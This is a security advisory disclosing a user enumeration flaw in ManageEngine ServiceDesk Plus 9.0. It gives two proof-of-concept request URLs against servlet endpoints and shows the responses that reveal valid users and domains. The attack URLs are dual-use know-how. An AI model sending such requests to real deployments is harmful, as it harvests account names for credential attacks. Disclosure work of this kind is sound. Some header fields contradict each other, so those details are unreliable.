101 lines
No EOL
3 KiB
Text
101 lines
No EOL
3 KiB
Text
================================================================================
|
||
[REWTERZ-20140102] - Rewterz - Security Advisory
|
||
================================================================================
|
||
|
||
Title: ManageEngine ServiceDesk Plus User Enumeration Vulnerability
|
||
Product: ServiceDesk Plus (http://www.manageengine.com/)
|
||
Affected Version: 9.0 (Other versions could also be affected)
|
||
Fixed Version: 9.0 Build 9031
|
||
Vulnerability Impact: Low
|
||
Advisory ID: REWTERZ-20140102
|
||
Published Date: 22-Jan-2015
|
||
Researcher: Muhammad Ahmed Siddiqui
|
||
Email: ahmed [at] rewterz.com
|
||
URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-plus-user-enumeration-vulnerability
|
||
|
||
================================================================================
|
||
|
||
|
||
Product Introduction
|
||
===============
|
||
|
||
ServiceDesk Plus is a help desk software with integrated asset and
|
||
project management built on the ITIL framework. It is available in 29
|
||
different languages and is used by more than 85,000 companies, across
|
||
186 countries, to manage their IT help desk and assets.
|
||
|
||
Source: http://www.manageengine.com/products/service-desk/
|
||
|
||
|
||
Vulnerability Information
|
||
==================
|
||
|
||
Class: User Name Enumeration
|
||
Impact: An unauthenticated and authenticated user can enumerate users
|
||
Remotely Exploitable: Yes
|
||
Authentication Required: Yes
|
||
User interaction required: Yes
|
||
CVE Name: N/A
|
||
|
||
|
||
Vulnerability Description
|
||
===================
|
||
|
||
An unauthenticated and authenticated user can enumerate all the users
|
||
and domains on the system by sending a simple request to URL.
|
||
|
||
|
||
Proof-of-Concept Authenticated User
|
||
============================
|
||
|
||
An attacker can use the following URL to enumerate users and domains
|
||
by accessing the following URL:
|
||
|
||
http:// 127.0.0.1:8080/servlet/AJaxServlet?action=checkUser&search=guest
|
||
|
||
Response if User is valid:
|
||
|
||
{ USER_PRESENT: 'true', IN_SITE: 'true' }
|
||
|
||
|
||
Response if User is invalid:
|
||
|
||
{ USER_PRESENT: 'false', ADD_REQUESTER: 'false' }
|
||
|
||
|
||
Proof-of-Concept Unauthenticated User
|
||
==============================
|
||
|
||
An attacker can use the following URL to enumerate users and domains
|
||
by accessing the following URL:
|
||
|
||
http://127.0.0.1:8080/domainServlet/AJaxDomainServlet?action=searchLocalAuthDomain&search=100101
|
||
|
||
|
||
If the user in the Search Parameter is found the response will contain
|
||
the domain name in which that particular user exists.
|
||
|
||
|
||
Timeline
|
||
=======
|
||
|
||
23-Dec-2014 – Notification to Vendor
|
||
24-Dec-2014 – Response from Vendor
|
||
30-Dec-2014 – Vulnerability fixed by Vendor
|
||
|
||
|
||
About Rewterz
|
||
============
|
||
|
||
Rewterz is a boutique Information Security company, committed to
|
||
consistently providing world class professional security services. Our
|
||
strategy revolves around the need to provide round-the-clock quality
|
||
information security services and solutions to our customers. We
|
||
maintain this standard through our highly skilled and professional
|
||
team, and custom-designed, customer-centric services and products.
|
||
|
||
http://www.rewterz.com
|
||
|
||
Complete list of vulnerability advisories published by Rewterz:
|
||
|
||
http://www.rewterz.com/resources/security-advisories |